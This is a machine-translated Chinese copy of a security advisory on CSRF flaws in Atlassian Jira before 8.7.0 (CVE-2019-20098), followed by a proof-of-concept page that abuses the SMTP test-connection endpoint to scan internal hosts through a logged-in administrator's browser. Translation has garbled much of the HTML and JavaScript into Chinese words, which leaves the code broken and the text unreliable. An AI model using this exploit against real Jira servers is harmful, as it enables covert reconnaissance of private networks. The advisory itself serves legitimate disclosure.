Atlassian Jira多个CSRF
媒介剧情简介
站得住脚的发现了几个CSRF问题Atlassian Jira 8.7.0之前版本
cve - 2019 - 20098: CSRF通过SMTP服务器连接测试
配置SMTP服务器连接时,“测试连接”功能不正确验证介绍人或atl_token属性。这允许CSRF可以列举JIRA可用主机服务器。我们的研究人员创造了一个主机发现网页作为一个概念证明。
< html > <头> < meta name =“referrer”内容=“no-referrer”> < /头> <身体> < h2 > CSRF主机发现扫描仪通过SMTP服务器< / h2 > < p > <按钮onclick = " startScan ()" > < /扫描按钮> < br > < textarea id =“文本区域”行= 34 50关口= > < / textarea > < >脚本函数startScan () {. getelementbyid(“文本区域”value = " ");扫描(220、250、25);}函数扫描(ip1、ip2、港口){var计时器= 0;var xhttp = new XMLHttpRequest ();xhttp。{如果(xhttp onreadystatechange = function ()。readyState = = 1){计时器= Date.now ();如果(xhttp}其他。readyState = = 4){计时器= Date.now()——定时器;. getelementbyid(“文本区域”)。价值+ =”\捏:“+ scanIp +“\ tResponse时间:”+时间+“女士”; if (ip1 < ip2) { scan(ip1 + 1, ip2, port); } } else { document.getElementById("textarea").value += "\nip: " + scanIp + "\tReadyState = " + xttp.readyState + "\n"; } } var scanIp = "[ip_address_minus_lower_octet]" + ip1.toString(); data = "name=bob&description=desc&from=bob%40email.com&prefix=prefix&protocol=smtp&serverName=" + scanIp + "&port=" + port.toString() + "&timeout=10000&username=&password=&jndiLocation=&id=10000&type=smtp"; xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifySmtpServerConnection!update.jspa", true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.withCredentials = true; xhttp.send(data); }